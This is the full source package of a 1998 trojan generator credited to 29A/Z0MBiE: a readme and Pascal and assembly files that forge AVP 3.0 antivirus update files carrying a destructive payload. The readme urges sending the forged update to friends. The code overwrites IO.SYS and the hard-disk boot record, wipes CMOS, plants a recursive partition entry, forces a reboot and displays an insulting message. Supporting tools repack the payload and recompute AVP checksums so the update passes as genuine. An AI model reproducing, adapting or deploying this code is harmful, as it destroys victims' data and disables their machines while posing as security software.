[readme.txt] 29A Labs & Information Weapon Developing Center (IWDC) PRESENTS: AVP 3.0 Weekly Update Generator generator build 666 for AVP builds 120+ copyright (c) 1998 by AVP research and distribution team & Z0MBiE/29A proudly made in Moscow, Russia Seek & Enjoy! *** WHAT IS IT *** This program is a generator of trojan addons for AVP 3.0 build 120+ It produces file RULEZ.AVC which can be renamed and sent to one of your friends (but better to all) Trojan code executed without any user prompts when AVP??.EXE is just launched, i.e. when it checks own integrity. Addon contains trojan code sections for both Dos & Win32. Dos section writes trojan mbr code to C:\IO.SYS, and Win32 section writes trojan mbr directly to hd 0/0/1. After that PC is rebooted using PCI port. And when trojan mbr is executed, you can relax - nothing can help. Btw, it also contains recursive extended partition entry. |-) *** REQUIRED SOFTWARE *** TASM MASM TP tasm.exe ml.exe - tpc.exe tlink.exe turbo.tpl *** FILES OVERVIEW *** AVP_TROJ\ set_path.bat edit this file to setup paths _go.bat batch file to make rulez.avc rulez.avc result of this package - MAKE_AVC\ _go.bat batch file to make trojan addon eicar.avc base-addon (to take some headers from it) -stamm.bin virus stamm entry for trojan addon -name.bin virus name entry for trojan addon make!!!!.pas main program to create trojan addon avp__.pas unit; addon headers / checksum tpu.pas unit; file management MAKE_OBJ\ - _go.bat batch file to compile code-sections - add_8b.pas utility to insert 8 bytes to begin of .obj file - bin2inc.pas binary -> .inc convertor - dos.asm dos section of trojan code - win.asm win32 section of trojan code - fuckup.asm mbr trojan code *** HOW IT WORKS *** Directory of MAKE_OBJ\ bin2inc.pas -> [tp] -> bin2inc.exe add_8b.pas -> [tp] -> add_8b.exe fuckup.asm -> [tasm,tlink] -> fuckup.bin fuckup.bin -> [bin2inc] -> fuckup.inc dos.asm + fuckup.inc -> [ml] -> dos.obj win.asm + fuckup.inc -> [ml] -> win.obj dos.obj -> [add_8b.exe] -> ..\-dos.bin win.obj -> [add_8b.exe] -> ..\-win.bin Directory of MAKE_AVC\ make!!!!.pas + tpu.pas + avp__.pas -> [tp] -> make!!!!.exe eicar.avc + -stamm.bin + -dos.bin + -win.bin + -name.bin -> [make!!!!.exe] -> rulez.avc [readme.txt] [fuckup.asm] ;DEBUG equ 1 model tiny locals __ jumps p386 .code org 100h start: cli xor bx, bx mov ss, bx mov sp, 7c00h sti push cs pop ds push cs pop es call entry entry: pop bp sub bp, offset entry xor ax, ax __c: mov al, ah out 70h, al mov al, 0 IFDEF DEBUG in al, 71h ELSE out 71h, al ENDIF inc ah jnz __c push cs pop es lea bx, start[bp] xor cx, cx __2: inc ch xor dx, dx __1: add dh, 8 IFDEF DEBUG mov ax, 0202h ELSE mov ax, 0302h ENDIF mov cl, 2 mov dl, 80h int 13h or dh, dh jnz __1 or ch, ch jnz __2 mov ax, 0000h int 10h lea si, msg[bp] cld __4: segcs lodsb or al, al jz __3 mov ah, 0Eh mov bx, 0007h int 10h jmp __4 __3: nop __0: cli hlt jmp __0 msg db 'You see? AVP is PIECE OF SHIT. Next time dont buy it',13,10 db 'kasper?-COCATb! Hehehe...Hoho..Hahahaaa...|-)' ,13,10 db '[ ४]',0 db 13,10 db 0 db '(c) I.Daniloff/29A, (812) 592-2710',0 db '(' xor 0FFh db 'c' xor 0FFh db ')' xor 0FFh db 'R' xor 0FFh db 'e' xor 0FFh db 'd' xor 0FFh db 'A' xor 0FFh db 'r' xor 0FFh db 'c' xor 0FFh db 0 db 'Z' xor 'T' db '0' xor 'n' db 'M' xor 'x' db 'B' xor '2' db 'i' xor 'S' db 'E' xor '.' db '/' xor 'S' db '2' xor '.' db '9' xor 'R' db 'A' xor '.' db 0 org start + 512 - 64 - 2 db 80h, 0,1,0, 5, 03Fh,0FFh,0FFh, 0,0,0,0, 78h,56h,34h,12h org start + 512 - 2 dw 0aa55h end start [fuckup.asm] [bin2inc.pas] program BIN2INC; {$A+,B-,D+,E-,F-,G+,I-,L+,N+,O-,P-,Q-,R-,S-,T-,V+,X+} {$M 16384,0,0} uses Dos; const DefEXT = '.INC'; err_1 = 'Incompatible options'; function FStr(L : Longint) : String; var S : String; begin Str(L:0, S); FStr := S; end; type Long = Longint; const hexchar : array[0..15] of char = '0123456789ABCDEF'; function F(L : Long; Base,Len:Integer) : String; var i : integer; s : string; ch : char; begin s := ''; repeat asm DB 66H; MOV AX, word ptr L DB 66H; XOR DX, DX DB 66H; XOR BX, BX MOV BX, base DB 66H; DIV BX DB 66H; MOV word ptr L, AX XCHG DX, BX MOV AL, byte ptr hexchar[BX] MOV &ch, AL end; s := ch + s; dec(len); until (len <= 0) and (l = 0); F := s; end; function F_s(L : Long; Base,Len:Integer) : String; var i : integer; s : string; ch : char; c : string[1]; begin s := ''; c := ''; if l < 0 then begin l := -l; c := '-'; end; repeat asm DB 66H; MOV AX, word ptr L DB 66H; XOR DX, DX DB 66H; XOR BX, BX MOV BX, base DB 66H; DIV BX DB 66H; MOV word ptr L, AX XCHG DX, BX MOV AL, byte ptr hexchar[BX] MOV &ch, AL end; s := ch + s; dec(len); until (len <= 0) and (l = 0); F_s := c + s; end; function HexByte(B: Byte) : String; begin HexByte := F(B,16, 2); end; function HexWord(W: Word) : String; begin HexWord := F(W,16, 4); end; function HexLong(L: Long) : String; begin HexLong := F(L,16, 8); end; function DecByte(B: Longint) : String; begin DecByte := F(B,10, 0); end; function DecWord(W: Longint) : String; begin DecWord := F(W,10, 0); end; function DecLong(L: Long) : String; begin DecLong := F(L,10, 0); end; function OctByte(B: Byte) : String; begin OctByte := F(B, 8, 0); end; function OctWord(W: Word) : String; begin OctWord := F(W, 8, 0); end; function OctLong(L: Long) : String; begin OctLong := F(L, 8, 0); end; function BinByte(B: Byte) : String; begin BinByte := F(B, 2, 8); end; function BinWord(W: Word) : String; begin BinWord := F(W, 2,16); end; function BinLong(L: Long) : String; begin BinLong := F(L, 2,32); end; procedure Error(ErrMsg : String); begin writeln(ErrMsg); Halt(1); end; procedure STOP; begin Error(' ணࠬ஢ :('); end; function UpCaseChar(C : Char) : Char; assembler; asm MOV AL, C CMP AL, 'a' JB @@1 CMP AL, 'z' JA @@1 SUB AL, 32 @@1: end; function UpCaseStr(S : String) : String; assembler; asm PUSH DS LES DI, @RESULT LDS SI, S CLD LODSB STOSB XOR AH, AH XCHG CX, AX JCXZ @@1 @@2:LODSB PUSH AX CALL UpCaseChar STOSB LOOP @@2 @@1:POP DS end; function AddExt(FileName, Ext : String; X : Boolean) : String; var D : DirStr; N : NameStr; E : ExtStr; begin FSplit(FExpand(FileName), D,N,E); if X or (E = '') then E := Ext; AddExt := D+N+E; end; const arrayname : string = 'abc'; Lang : (lAsm, lPas) = lAsm; AsmType : (aByte, aWord, aDWord, aQWord, aTByte) = aByte; PasType : (pByte, pWord, pShortInt, pInteger, pLongInt, pChar) = pByte; Base : (bHex, bDec, bOct, bBin) = bHex; n : Byte = 1; AsmTypeChar : array[0..6] of Char = 'BWDQT'; PasTypeStr : array[0..6] of string[20] = ('byte','word','shortint','integer','longint','char','string'); const maxinsize = 16384; var insize : word; inptr : longint; inbuf : array[1..maxinsize+256] of byte; outsize : word; outbuf : array[1..32768] of byte; linesize : word; linesnum : longint; _b,_b2 : byte; _w,_w2 : word; _l,_l2 : longint; _wl : array[1..2] of word absolute _l; procedure go(infile, outfile : string); var i,o : file; procedure Flush; begin blockwrite(o, outbuf, outsize); outsize := 0; end; procedure OutChar(C : Char); begin inc(outsize); outbuf[outsize] := ord(C); if C = #10 then linesize := 0 else inc(linesize); if outsize >= sizeof(outbuf) then Flush; end; procedure OutString(S : String); var i : Integer; begin for i := 1 to Length(S) do outChar(S[i]); end; procedure AddX; begin case Base of bHex: OutChar('H'); bOct: OutChar('o'); bBin: OutChar('B'); end; end; var s2, s : word; st : string; function getbyte : byte; begin if (insize = 0) or (inptr > insize) then begin fillchar(inbuf, sizeof(inbuf), 0); blockread(i, inbuf, maxinsize, insize); inptr := 1; end; _b := inbuf[inptr]; inc(inptr); getbyte := _b; end; function GetWord : word; begin _w := (getbyte shl 8) or getbyte; getword := _w; end; function GetLong : long; begin _wl[1] := getword; _wl[2] := getword; getlong := _l; end; procedure LineStart; begin if Lang = lAsm then outString('D'+AsmTypeChar[byte(asmType)]+' '); if Lang = lPas then outString(#9); end; procedure LineEnd; begin outString(#13#10); inc(LinesNum); end; function eof : boolean; begin eof := system.eof(i) and (inptr > insize); end; begin assign(i, infile); filemode := 0; reset(i,1); filemode := 2; if IOResult <> 0 then error('Can not open file '+infile); s := filesize(i); linesnum := 0; case Lang of lPas: case PasType of pWord, pInteger: s := (s + 1) div 2; pLongInt: s := (s + 3) div 4; end; lAsm: case AsmType of aByte: s2 := s; aWord: s2 := (s + 1) div 2; aDWord: s2 := (s + 3) div 4; aQWord: s2 := (s + 7) div 8; aTByte: s2 := (s + 9) div 10; end; end; assign(o, outfile); rewrite(o, 1); if IOResult <> 0 then error('Can not create file '+outfile); inptr := -1; insize := 0; outsize := 0; linesize := 0; if Lang = lAsm then begin outString(arrayname+'_size'#9'EQU '+fstr(s)+#9#9'; size in bytes'#13#10); outString(arrayname+'_num '#9'EQU '+fstr(s2)+#9#9'; size in elements'#13#10); outString(arrayname+' '); end; if Lang = lPas then begin outString(#13#10+ 'const'#13#10+ ' '+arrayname+'_num = '+FStr(s)+'; { size in elements! }'#13#10+ #13#10+ ' '+arrayname+' : array['+fstr(n)+'..'+arrayname+'_num'); if n = 0 then outString('-1'); outString('] of '); outString(PasTypeStr[byte(PasType)]); outString(' ='#13#10); outString(' ('#13#10); end; LineStart; while not eof do begin if lang = lAsm then begin case AsmType of aByte: begin getByte; case Base of bDec: outString(DecByte(_b)); bHex: outString('0'+HexByte(_b)); bOct: outString(OctByte(_b)); bBin: outString(BinByte(_b)); end; AddX; if (linesize < 75) and (not eof) then outChar(',') else begin LineEnd; if not eof then LineStart; end; end; aWord: begin getWord; case Base of bDec: outString(DecWord(_w)); bHex: outString('0'+HexWord(_w)); bOct: outString(OctWord(_w)); bBin: outString(BinWord(_w)); end; AddX; if (linesize < 75) and (not eof) then outChar(',') else begin LineEnd; if not eof then LineStart; end; end; aDWord: begin getLong; case Base of bDec: outString(DecLong(_l)); bHex: outString('0'+HexLong(_l)); bOct: outString(OctLong(_l)); bBin: outString(BinLong(_l)); end; AddX; if (linesize < 75) and (not eof) then outChar(',') else begin LineEnd; if not eof then LineStart; end; end; aQWord: begin getLong; _l2 := _l; getLong; case Base of bDec, bOct: error(err_1); bHex: outString('0'+HexLong(_l)); bBin: outString(BinLong(_l)); end; case Base of bHex: outString(HexLong(_l2)); bBin: outString(BinLong(_l2)); end; AddX; if (linesize < 75) and (not eof) then outChar(',') else begin LineEnd; if not eof then LineStart; end; end; aTByte: begin getWord; _w2 := _w; getLong; _l2 := _l; getLong; case Base of bDec, bOct: error(err_1); bHex: outString('0'+HexLong(_l)); bBin: outString(BinLong(_l)); end; case Base of bHex: outString(HexLong(_l2)); bBin: outString(BinLong(_l2)); end; case Base of bHex: outString(HexWord(_w2)); bBin: outString(BinWord(_w2)); end; AddX; if (linesize < 75) and (not eof) then outChar(',') else begin LineEnd; if not eof then LineStart; end; end; else STOP; end; end; if lang = lPas then begin if Base in [bOct,bBin] then error(err_1); case PasType of pByte, pShortInt, pChar: begin getByte; if PasType = pChar then outChar('#'); case Base of bDec: case PasType of pByte, pChar: outString(DecByte(_b)); pShortInt: outString(F_s(_b,10,0)); end; bHex: outString('$'+HexByte(_b)); end; if PasType <> pChar then if not eof then outChar(','); if linesize >= 60 then begin if PasType = pChar then outString('+'); LineEnd; LineStart; end; end; pWord, pInteger: begin getWord; case Base of bDec: case PasType of pWord: outString(DecWord(_w)); pInteger: outString(F_s(_w,10,0)); end; bHex: outString('$'+HexWord(_w)); end; if not eof then outChar(','); if linesize >= 60 then begin LineEnd; LineStart; end; end; pLongInt: begin getLong; case Base of bDec: outString(F_s(_l,10,0)); bHex: outString('$'+HexLong(_l)); end; if not eof then outChar(','); if linesize >= 60 then begin LineEnd; LineStart; end; end; end; end; end; LineEnd; if Lang = lPas then begin outString(' );'#13#10+ #13#10); end; Flush; close(i); close(o); writeln('BIN2INC: ',LinesNum, ' line(s) generated'); end; procedure Help; begin writeln('syntax:'); writeln(' BIN2INC [options] [@arrayname] infile [outfile[.INC]]'); writeln; writeln('options: /a,/asm (default)'); writeln(' /p,/pas'); writeln; writeln(' ASSEMBLER PASCAL'); writeln(' /b, /byte (default) /byte (default)'); writeln(' /w, /word /word'); writeln(' /d, /dword /shortint'); writeln(' /q, /qword (hex,bin) /integer'); writeln(' /tbyte (hex,bin) /longint'); writeln(' /char'); writeln; writeln(' /16 (default) /16 (default)'); writeln(' /10 /10'); writeln(' /8'); writeln(' /2 /0 array[0.. (default 1)'); halt; end; var i, j : integer; s, t : string; c : integer; p : array[1..2] of string; begin if paramcount = 0 then Help; c := 0; for i := 1 to paramcount do begin s := paramstr(i); if (s = '/?') or (s = '-?') or (upcasestr(s) = '/H') or (upcasestr(s) = '-H') or (upcasestr(s) = '/HELP') or (upcasestr(s) = '-HELP') or (s = '?') then Help; if s[1] = '@' then begin if s <> '@' then begin arrayname := copy(s,2,255); s := ''; end; end else if s[1] = '/' then begin t := UpCaseStr(s); if (t = '/A') or (t = '/ASM') then begin Lang := lAsm; s := ''; end; if (t = '/P') or (t = '/PAS') then begin Lang := lPas; s := ''; end; if t = '/16' then begin s := ''; Base := bHex; end; if t = '/10' then begin s := ''; Base := bDec; end; if t = '/8' then begin s := ''; Base := bOct; end; if t = '/2' then begin s := ''; Base := bBin; end; if t = '/0' then begin s := ''; n := 0; end; if (t = '/BYTE') or (t = '/B') then begin s := ''; AsmType := aByte; PasType := pByte; end; if (t = '/WORD') or (t = '/W') then begin s := ''; AsmType := aWord; PasType := pWord; end; if (t = '/DWORD') or (t = '/D') then begin s := ''; AsmType := aDWord; end; if (t = '/QWORD') or (t = '/Q') then begin s := ''; AsmType := aQWord; end; if t = '/TBYTE' then begin s := ''; AsmType := aTByte; end; if t = '/SHORTINT' then begin s := ''; PasType := pShortInt; end; if t = '/INTEGER' then begin s := ''; PasType := pInteger; end; if t = '/LONGINT' then begin s := ''; PasType := pLongInt; end; if t = '/CHAR' then begin s := ''; PasType := pChar; end; end else if c < 2 then begin inc(c); p[c] := s; s := ''; end; if s <> '' then Error('Unknown parameter: '+s); end; case c of 0: Error('File name required'); 1: go(FExpand(p[1]), addExt(p[1], DefEXT, True)); 2: go(FExpand(p[1]), addExt(p[2], DefEXT, False)); end; end. [bin2inc.pas] [dos.asm] ;DEBUG equ 1 ; debug on debug off ; ; target c:\--.sys c:\io.sys ; sect. 50 mbr (chs=0:0:1) ; sect. 51 1st boot (chs=0:1:1) ; ; ;ID_PORT equ 81h ;ID_KEY equ 88h RESET_PORT equ 0CFEh ; PCI chipset only RESET_KEY equ 0 YES_KEY equ 1579h ; "y" ;COUNT_PORT equ 84h ;MAX_COUNT equ 10 .386 _TEXT segment byte public '' use16 assume cs:_TEXT, ds:_TEXT, es:_TEXT, ss:_TEXT public _decode _decode: nop ; <- s-ice bug, maybe becoz offs=0 IFDEF DEBUG int 3 ELSE nop ENDIF pusha push ds push es mov bx, 0b800h mov es, bx mov dword ptr es:[7F10h], 90CF21CDh mov dword ptr es:[7F20h], 90CF16CDh mov dword ptr es:[7F30h], 90CF13CDh call entry entry: pop bp sub bp, offset entry ; in al, ID_PORT ; cmp al, ID_KEY ; je __0 push cs pop ds lea dx, iosys[bp] mov ax, 4301h xor cx, cx call call_21 mov ax, 3d02h lea dx, iosys[bp] call call_21 xchg bx, ax mov ah, 3fh lea dx, mz[bp] mov cx, 2 call call_21 mov ax, 4200h ; IO.SYS - DOS cwd ; startup code at 0 xor cx, cx call call_21 cmp cs:mz[bp], 'ZM' jne __1 mov ax, 4200h ; IO.SYS - maybe Win95 mov dx, 800h ; startup code at 800h xor cx, cx call call_21 __1: mov ah, 40h lea dx, fuckup[bp] mov cx, fuckup_size call call_21 mov ah, 3eh call call_21 mov ax, 4301h mov cx, 1+2+4+32 lea dx, iosys[bp] call call_21 mov ax, 1600h ; Windows installed? int 2fh or al, al jnz __pci_reboot ; windows __dos: mov ah, 05h ; dos mov cx, YES_KEY call call_16 push cs pop es lea bx, fuckup[bp] mov ax, 0300h + (fuckup_size+511)/512 IFDEF DEBUG mov cx, 50 mov dx, 0080h ELSE mov cx, 0001h mov dx, 0080h ENDIF call call_13 mov ah, 05h mov cx, YES_KEY call call_16 mov ax, 0300h + (fuckup_size+511)/512 IFDEF DEBUG mov cx, 51 mov dx, 0080h ELSE mov cx, 0001h mov dx, 0180h ENDIF call call_13 __l: mov ah, 01h call call_16 cmp ax, YES_KEY jne __k mov ah, 00h call call_16 jmp __l __k: ; mov al, ID_KEY ; out ID_PORT, al ; ; mov al, 0 ; out COUNT_PORT, al ; __skip_mbr: __0: nop nop mov al, 64h ; reset out 0FEh, al ; in al, COUNT_PORT ; inc al ; out COUNT_PORT, al ; cmp al, MAX_COUNT ; jb __z __pci_reboot: mov dx, RESET_PORT mov al, RESET_KEY out dx, al __z: nop nop pop es pop ds popa xor ax, ax ; 0=ok, 1=? 2=? retf call_21: pushf push cs call __a ret __a: db 0eah dd 0B8007F10h call_16: pushf push cs call __b ret __b: db 0eah dd 0B8007F20h call_13: pushf push cs call __c ret __c: db 0eah dd 0B8007F30h IFDEF DEBUG iosys db 'C:\--.SYS',0 ELSE iosys db 'C:\IO.SYS',0 ENDIF mz dw ? include fuckup.inc ; rept 4096-1024 ; db 0cch ; endm _TEXT ends end _decode [dos.asm] [win.asm] ;DEBUG equ YES ; debug on debug off ; ; target sect. 60 mbr (cyl=0 head=0 sect=1) ; sect. 61 1st boot (cyl=0 head=1 sect=1) ; ; ; ;ID_PORT equ 80h ;ID_KEY equ 88h RESET_PORT equ 0CFEh ; PCI chipset only RESET_KEY equ 0 ;COUNT_PORT equ 84h ;MAX_COUNT equ 10 .386 .model flat .code extrn __Write_13:PROC public _decode _decode: nop IFDEF DEBUG int 3 ELSE nop ENDIF pushad call entry entry: pop ebp sub ebp, offset entry ; in al, ID_PORT ; cmp al, ID_KEY ; je @@1 lea eax, fuckup[ebp] push eax push 1 ; sectcount IFDEF DEBUG push 0 ; DH push 60 ; 60=3Ch ELSE push 0 ; DH push 1 ; CX ENDIF push 80h ; DL push 0 ; FUCK FUCK FUCK FUCK lea eax, offset __Write_13 call eax add esp, 4*6 lea eax, fuckup[ebp] push eax push 1 ; sectcount IFDEF DEBUG push 0 ; DH push 61 ; 61=3Dh ELSE push 1 ; DH push 1 ; CX ENDIF push 80h ; DL push 0 ; FUCK FUCK FUCK FUCK lea eax, offset __Write_13 IFDEF DEBUG nop nop ELSE call eax ENDIF add esp, 4*6 ; mov al, ID_KEY ; out ID_PORT, al ; ; mov al, 0 ; out COUNT_PORT, al @@1: nop nop ; in al, COUNT_PORT ; inc al ; out COUNT_PORT, al ; cmp al, MAX_COUNT ; jb __z mov dx, RESET_PORT mov al, RESET_KEY out dx, al __z: nop nop popad xor ax, ax ; 0=not infected, 1=infected retn include fuckup.inc ; db 4096-1024 dup (0CCh) virsize equ $-_decode end _decode [win.asm] [add_8b.pas] var f : file; a : longint; b : longint; c : array[1..16384] of byte; begin assign(f, 'dos.obj'); reset(f,1); a := filesize(f)+8; b := 0; blockread(f, c, a-8); close(f); assign(f, '-dos.bin'); rewrite(f,1); blockwrite(f, a, a); close(f); assign(f, 'win.obj'); reset(f,1); a := filesize(f)+8; b := 0; blockread(f, c, a-8); close(f); assign(f, '-win.bin'); rewrite(f,1); blockwrite(f, a, a); close(f); end. [add_8b.pas] [make!!!!.pas] uses crt, TPU, avp__; type Pbyte_arr = ^tbyte_arr; tbyte_arr = array[1..65535] of byte; { ணࠬ } const SOURCE : string = 'abc'; PRODUCT : string = 'cde'; sux_num : longint = 4; sux_n : array[1..16] of byte = (1,2,3,4, 0,0,0,0,0,0,0,0,0,0,0,0); var cpr : array[0..128-1] of byte; hdr : Tavc_header; sux : Tsux; data : pbyte_arr; dsize : word; i, j : word; l : longint; procedure dump; var i,j : integer; begin writeln('dump of ',source); writeln(' id : ',hdr.id); writeln(' ver : ',hdr.ver); writeln(' bits : ',hdr.bits); write(' _1 : '); for j := $07 to $0B do write(hexbyte(hdr._1[j]),' '); writeln; writeln(' filesize : ',hdr.filesize); writeln(' sux_offs : $',hexword(hdr.sux_offs)); writeln(' sux_count : ',hdr.sux_count); write(' _2 : '); for j := $16 to $3D do write(hexbyte(hdr._2[j]),' '); writeln; writeln(' authcpr_cs : $',hexlong(hdr.authcpr_cs)); writeln(' hdr_cs : $',hexlong(hdr.hdr_cs)); for i := 1 to hdr.sux_count do begin load(PRODUCT, hdr.sux_offs + pred(i) * sizeof(Tsux), sux, sizeof(Tsux), nil); writeln('dump of sux n. ',i); writeln(' data_size : ',hexlong(sux.data_size)); writeln(' real_size : ',hexlong(sux.real_size)); writeln(' id : ',hexword(sux.id)); writeln(' unk_word : ',hexword(sux.unk_word)); writeln(' data_offs : ',hexlong(sux.data_offs)); write(' _1 : '); for j := $10 to $17 do write(hexbyte(sux._1[j]),' '); writeln; writeln(' data_cs : ',hexlong(sux.data_cs)); write(' _2 : '); for j := $1C to $23 do write(hexbyte(sux._2[j]),' '); writeln; (* load(PRODUCT, sux.data_offs, mem[$B900:0], sux.data_size, NIL); for j := 0 to sux.data_size-1 do mem[$B900:j] := mem[$B900:j] xor j; save('xx'+fstr(i), -1, mem[$B900:0], sux.data_size); *) end; end; var fucksize : word; fuck : Pbyte_arr; w,t,ln : word; procedure pack; begin dsize := 0; j := 0; inc(dsize); data^[dsize] := $FF; inc(dsize); data^[dsize] := $FF; w := $FFFF; i := 0; ln := 16; repeat w := w shr 1; dec(ln); if w = 0 then begin t := dsize; inc(dsize); data^[dsize] := $FF; inc(dsize); data^[dsize] := $FF; w := $FFFF; ln := 16; end; inc(dsize); inc(i); data^[dsize] := fuck^[i]; if i >= fucksize then break; until false; sux.real_size := i; writeln('ln=',ln); w := $FFFF xor (1 shl (16-ln)); inc(t); data^[t] := lo(w); inc(t); data^[t] := hi(w); inc(dsize); data^[dsize] := $00; inc(dsize); data^[dsize] := $00; inc(dsize); data^[dsize] := $00; inc(dsize); data^[dsize] := $00; end; var iii : word; tt : text; make_all : boolean; all_max, all_ptr : longint; begin if paramcount < 2 then halt; source := paramstr(1); product := paramstr(2); make_all := paramstr(3) = '/ALL'; (* assign(tt, 'make!!!!.cfg'); reset(tt); readln(tt, sux_num); for iii := 1 to sux_num do readln(tt, sux_n[iii]); close(tt); *) getmem(data, 65520); getmem(fuck, 65520); inline($B8/$03/$00/$CD/$10); if sizeof(Tavc_header) <> $46 then error('sizeof(Tavc_header) = $' + hexbyte(sizeof(Tavc_header))); if sizeof(Tsux) <> 36 then error('sizeof(Tsux) = ' + fstr(sizeof(Tsux))); load(source , 0, data^, 65520, @dsize); save(product, -1, data^, dsize); load(product, 0, cpr, sizeof(cpr), nil); load(product, $80, hdr, sizeof(hdr), nil); { dump; halt; } load(PRODUCT, hdr.sux_offs, sux, sizeof(Tsux), nil); all_ptr := sux.data_offs; all_max := 0; for iii := 1 to sux_num do begin load(PRODUCT, hdr.sux_offs + pred(sux_n[iii]) * sizeof(Tsux), sux, sizeof(Tsux), nil); load('output_'+fstr(iii), 0, fuck^, 65520, @fucksize); pack; { XOR } for i := 1 to dsize do data^[i] := data^[i] xor pred(i); (* ᫨ sux ᫥ <= 饬 *) (* 뢠 אַ , - 䠩 *) sux.data_size := dsize; sux.data_cs := calc_checksum(data^, dsize); if make_all then begin sux.data_offs := all_ptr; inc(all_ptr, sux.data_size); if all_ptr > all_max then all_max:= all_ptr; end else begin if sux_n[iii] < hdr.sux_count then if dsize > sux.data_size then sux.data_offs := fsize(PRODUCT); end; (* inc(sux._1[$10]); inc(sux._1[$14]); sux.real_size := sux.data_size + 8192; *) save(PRODUCT, hdr.sux_offs + pred(sux_n[iii]) * sizeof(Tsux), sux, sizeof(Tsux)); save(PRODUCT, sux.data_offs, data^, sux.data_size); hdr.filesize := fsize(PRODUCT); hdr.hdr_cs := calc_checksum(hdr, $42); save(PRODUCT, $80, hdr, sizeof(hdr)); end; if make_all then save(PRODUCT, all_max, hdr,0); dump; end. [make!!!!.pas] [tpu.pas] unit TPU; interface function FStr(L : Longint) : String; procedure error(msg : string); procedure load(fname : string; ofs : longint; var buf; size : word; realsize : pointer); procedure save(fname : string; ofs : longint; var buf; size : word); function fsize(fname : string) : longint; function HexByte(B : Byte) : string; function HexWord(W : Word) : string; function HexPointer(P : Pointer) : string; function HexLong(L : Longint) : string; implementation uses Dos; function fsize(fname : string) : longint; var r : searchrec; begin findfirst(fname, anyfile, r); fsize := r.size; end; function FStr; var S : String; begin Str(L:0, S); FStr := S; end; procedure error; begin writeln(msg); halt; end; function Hex : Word; assembler; asm AAM 16 ADD AL, 90H DAA ADC AL, 40H DAA XCHG AL, AH ADD AL, 90H DAA ADC AL, 40H DAA end; function HexByte; assembler; asm LES DI, @RESULT CLD MOV AL, 2 STOSB MOV AL, B CALL Hex STOSW end; function HexWord; assembler; asm LES DI, @RESULT CLD MOV AL, 4 STOSB MOV AL, BYTE PTR W + 1 CALL Hex STOSW MOV AL, BYTE PTR W + 0 CALL Hex STOSW end; function HexPointer; assembler; asm LES DI, @RESULT CLD MOV AL, 9 STOSB MOV AL, BYTE PTR P + 3 CALL Hex STOSW MOV AL, BYTE PTR P + 2 CALL Hex STOSW MOV AL, ':' STOSB MOV AL, BYTE PTR P + 1 CALL Hex STOSW MOV AL, BYTE PTR P + 0 CALL Hex STOSW end; function HexLong; assembler; asm LES DI, @RESULT CLD MOV AL, 8 STOSB MOV AL, L.BYTE[3] CALL Hex STOSW MOV AL, L.BYTE[2] CALL Hex STOSW MOV AL, L.BYTE[1] CALL Hex STOSW MOV AL, L.BYTE[0] CALL Hex STOSW end; procedure load; var f : file; w : word; begin assign(f, fname); {$I-} reset(f,1); if IOResult <> 0 then begin writeln('file not found: ',fname); halt(1); end; seek(f, ofs); blockread(f, buf, size, w); if realsize <> nil then word(realsize^) := w; close(f); end; procedure save; var f : file; begin assign(f, fname); if ofs = -1 then rewrite(f,1) else begin reset(f,1); if ofs = -2 then seek(f, filesize(f)) else seek(f, ofs); end; if size = 0 then truncate(f) else blockwrite(f, buf, size); close(f); end; end. [tpu.pas] [avp__.pas] unit avp__; interface (* ଠ .avc 00h DBx40H kami_copyriht 40H DBx40H author_copyright 80H DBx46H avc_header xxx sux ( ), 36 yyy *) type Tavc_header = record { 46H } id : array[1..4] of char; { EK.8 } { 00 01 02 03 } ver : word; { 3 } { 04 05 } bits : byte; { 06 } (* 1 : 0 - ⮢ ;) *) (* 1 - ⮢ ;( *) _1 : array[$07..$0B] of byte; filesize : longint; { 0C 0D 0E 0F } sux_offs : longint; { 10 11 12 13 } sux_count : word; { 14 15 } _2 : array[$16..$3D] of byte; authcpr_cs : longint; { 3E 3F 40 41 } hdr_cs : longint; { 42 43 44 45 } end; Tsux = record { 36 } id : word; { 00 01 } { 0/1/2 / 100H/101H/102H } unk_word : word; { 02 03 } data_offs : longint; { 04 05 06 07 } data_size : longint; { 08 09 0A 0B } { 祢, ࠧ ᯠ } real_size : longint; { 0C 0D 0E 0F } _1 : array[$10..$17] of byte; data_cs : longint; { 18 19 1A 1B } _2 : array[$1C..$23] of byte; { 㫨? } end; function calc_checksum(var data_ptr; data_size : word) : longint; implementation function calc_checksum(var data_ptr; data_size : word) : longint; assembler; const word_0_7663 : word = 0; var word_0_3DDA, word_0_3DDC : word; asm xor si, si mov word_0_3DDA, si mov word_0_3DDC, si les bx, data_ptr mov cx, data_size @@loc_0_1878: mov ax, word_0_3DDA mov dx, word_0_3DDC cmp word_0_7663, 0 jnz @@loc_0_18AA cmp si, 4 jnb @@loc_0_18AA shl ax, 1 rcl dx, 1 shl ax, 1 rcl dx, 1 shl ax, 1 rcl dx, 1 shl ax, 1 rcl dx, 1 shl ax, 1 rcl dx, 1 shl ax, 1 rcl dx, 1 shl ax, 1 rcl dx, 1 @@loc_0_18AA: shl ax, 1 rcl dx, 1 xor word_0_3DDA, ax xor word_0_3DDC, dx mov al, es:[si+bx] xor byte ptr word_0_3DDA, al inc si jnz @@loc_0_18C9 mov word_0_7663, 1 @@loc_0_18C9: cmp si, cx jnz @@loc_0_1878 mov ax, word_0_3DDA mov dx, word_0_3DDC {mov word_0_7661, si} end; begin end. [avp__.pas]